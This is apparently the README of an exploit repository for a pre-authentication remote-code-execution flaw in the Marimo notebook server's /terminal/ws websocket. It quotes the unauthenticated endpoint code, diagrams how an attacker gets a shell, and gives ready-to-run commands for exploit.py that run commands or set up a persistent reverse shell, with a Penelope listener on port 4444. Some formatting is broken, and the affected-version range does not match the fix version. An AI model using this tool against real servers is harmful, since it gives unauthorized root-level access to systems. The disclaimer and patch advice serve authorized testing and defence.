
Exploit Marimo antérieur à la version 0.23.0. Vulnérabilité RCE pré-authentification via le point de terminaison websocket : /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Exécution de code à distance avant authentification dans Marimo, un serveur de notebooks Python réactif.
Une seule connexion WebSocket non authentifiée vers /terminal/ws fournit un shell PTY interactif complet avec les droits de l'utilisateur exécutant le processus Marimo (souvent root dans Docker).
Uniquement pour laboratoire / tests autorisés (HTB, CTF, engagement avec périmètre écrit).
Marimo expose un terminal intégré via WebSocket à l'adresse :
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Les autres routes WebSocket (notamment /ws pour l'interface du notebook) appellent correctement validate_auth().
/terminal/ws ne le fait pas. Elle ne vérifie que :
puis immédiatement :
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
Aucun cookie, jeton, mot de passe ou en-tête Authorization n'est requis — même lorsque l'authentification est activée sur l'instance.
Impact : exécution de commandes arbitraires sans authentification avec les privilèges du processus Marimo. Dans les images de conteneurs par défaut, il s'agit fréquemment de root.
Fichier (arborescence vulnérable) : marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Comparez avec le WebSocket du notebook (ws_endpoint.py), qui impose bien l'authentification :
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws sans identifiants| Statut | Versions |
|---|---|
| Vulnérable | Marimo <= 0.20.4 (avant correctif) |
| Corrigé | Marimo 0.23.0 et ultérieur |
Tout déploiement exposant le terminal WebSocket (mode édition, PTY pris en charge) sans passerelle d'authentification externe est concerné.
| Fichier | Rôle |
|---|---|
exploit.py | PoC : exécution de commandes + reverse shell persistant + lanceur Penelope |
penelope.py | Gestionnaire de shell autonome (brightio/penelope) |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py ne nécessite aucune dépendance supplémentaire (bibliothèque standard Python 3.6+).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
Ce qui se passe :
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope est fourni sous forme de script autonome (penelope.py) :
Flux par défaut (-p) :
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
Le processus enfant est utilisé à dessein : os.execv(penelope) remplace l'image du processus parent, ce qui tuerait un thread d'arrière-plan.
Penelope en manuel :
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, clés SSH), auditez les connexions sortantes et la persistanceCe projet est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive.
Vous êtes responsable du respect des lois applicables et des règles d'engagement de votre laboratoire ou client.
README.md| Ce fichier |